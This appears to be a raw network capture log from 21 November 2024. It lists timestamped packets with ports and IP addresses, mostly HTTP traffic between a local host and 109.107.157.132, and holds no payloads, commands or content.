Nov 21, 2024 22:33:43.013030052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.013581991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.013634920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.013674021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.013720989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.015172005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.015224934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.015248060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.015292883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.016597033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.016664028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.016702890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.016748905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.018116951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.018168926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.018194914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.018244028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.019618034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.019673109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.019710064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.019758940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.021123886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.021173954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.094252110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.094310999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.094504118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.094547987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.094985962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.095036030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.095119953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.095170975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.096462011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.096513033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.352616072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.352715015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.352775097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.352838039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.353331089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.353391886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.353441000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.353491068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.354820967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.354868889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.432071924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.432085991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.432221889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.432636976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.432710886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.432728052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.432775021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.434129000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.434209108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.434242010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.434294939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.512475967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.512568951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.512609959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.512670040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.512988091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.512996912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.513047934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.513930082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.513978004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.514082909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.514130116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.515487909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.515506029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.515537024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.515552998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.516863108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.516922951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.517015934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.517060995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.517606020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.517662048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.517700911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.517744064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.519161940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.519212961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.519366026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.519417048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.590662956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.590730906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.590850115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.590908051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.591449022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:43.591499090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.631149054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:43.750721931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.030805111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.030920982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.030971050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.031019926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.031491995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.031568050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.031603098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.031651020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.032984018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.033253908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.033565044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.033617020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.033651114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.033695936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.035059929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.035115004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.035161972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.035207033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.036586046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.036638021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.036652088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.036700010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.038073063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.038124084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.109733105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.109766960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.109888077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.110347033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.110652924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.110702991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.110724926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.110754013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.112224102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.112323999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.112452030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.113692999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.113805056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.113873005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.115190029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.115252018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.115293026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.115637064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.116713047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.116782904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.116830111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.118251085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.118338108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.118407011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.119720936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.119776964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.187983036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.188061953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.188244104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.188303947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.188618898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.188672066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.188874006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.188926935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.188970089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.189012051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.190412045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.190434933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.190462112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.190479994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.191886902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.191936970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.192011118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.192056894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.193466902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.193523884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.193542004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.193586111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.194952011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.195009947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.195038080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.195084095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.196459055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.196518898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.196563005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.196608067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.197994947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.198049068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.266226053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.266305923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.266395092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.266886950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.267005920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.267141104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.268327951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.268378973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.268868923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.268930912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.268963099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.269032955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.270401955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.270464897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.270498991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.270541906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.271914005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.272105932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.272154093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.273416042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.273591995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.273655891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.274974108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.275023937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.275207996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.275685072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.276443958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.276498079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.344489098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.344621897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.344937086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.344983101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.346323967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.346375942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.346476078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.346520901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.346918106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.346966982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.347110987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.347157001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.347819090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.347881079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.347950935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.347994089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.349325895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.349371910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.349455118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.349498987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.350888014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.350955009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.350995064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.351052999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.352385998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.352436066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.352478981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.352521896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.354170084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.354217052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.354254961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.354298115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.356668949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.356719017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.356797934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.356846094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.358863115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.358911991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.610383034 CET	49731	80	192.168.2.4	172.64.149.23
Nov 21, 2024 22:33:44.610440016 CET	49732	80	192.168.2.4	172.64.149.23
Nov 21, 2024 22:33:44.610486984 CET	49730	80	192.168.2.4	104.18.38.233
Nov 21, 2024 22:33:44.668627024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.668699026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.668735027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.668785095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.730524063 CET	80	49731	172.64.149.23	192.168.2.4
Nov 21, 2024 22:33:44.730642080 CET	49731	80	192.168.2.4	172.64.149.23
Nov 21, 2024 22:33:44.731172085 CET	80	49732	172.64.149.23	192.168.2.4
Nov 21, 2024 22:33:44.731224060 CET	49732	80	192.168.2.4	172.64.149.23
Nov 21, 2024 22:33:44.731232882 CET	80	49730	104.18.38.233	192.168.2.4
Nov 21, 2024 22:33:44.731278896 CET	49730	80	192.168.2.4	104.18.38.233
Nov 21, 2024 22:33:44.746846914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.746965885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.746994019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.747044086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.747519016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.747581005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.853490114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.853579998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.853599072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.853641033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.854144096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.854212999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.854474068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.854516983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.854603052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.854643106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.855950117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.856019974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.954221964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.954286098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.954323053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.954370022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.954819918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.954865932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.954941988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.954982996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.956028938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.956070900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.956163883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.956203938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.957511902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.957556009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:44.957583904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:44.957623005 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.078538895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.078550100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.078599930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.078625917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.078931093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.078975916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.079109907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.079154015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.080457926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.080509901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.080621004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.080658913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.081963062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.082010031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.082190990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.082231998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.083514929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.083559036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.083611012 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.083655119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.085022926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.085057020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.085071087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.085124016 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.157107115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.157150030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.157169104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.157193899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.157478094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.157520056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.157799006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.157843113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.157851934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.157928944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.159357071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.159409046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.159476042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.159521103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.160841942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.160886049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.160979033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.161026001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.162391901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.162435055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.162439108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.162470102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.163867950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.163911104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.248220921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.248236895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.248394966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.249008894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.249067068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.249102116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.249166965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.250377893 CET	80	49759	109.107.157.132	192.168.2.4
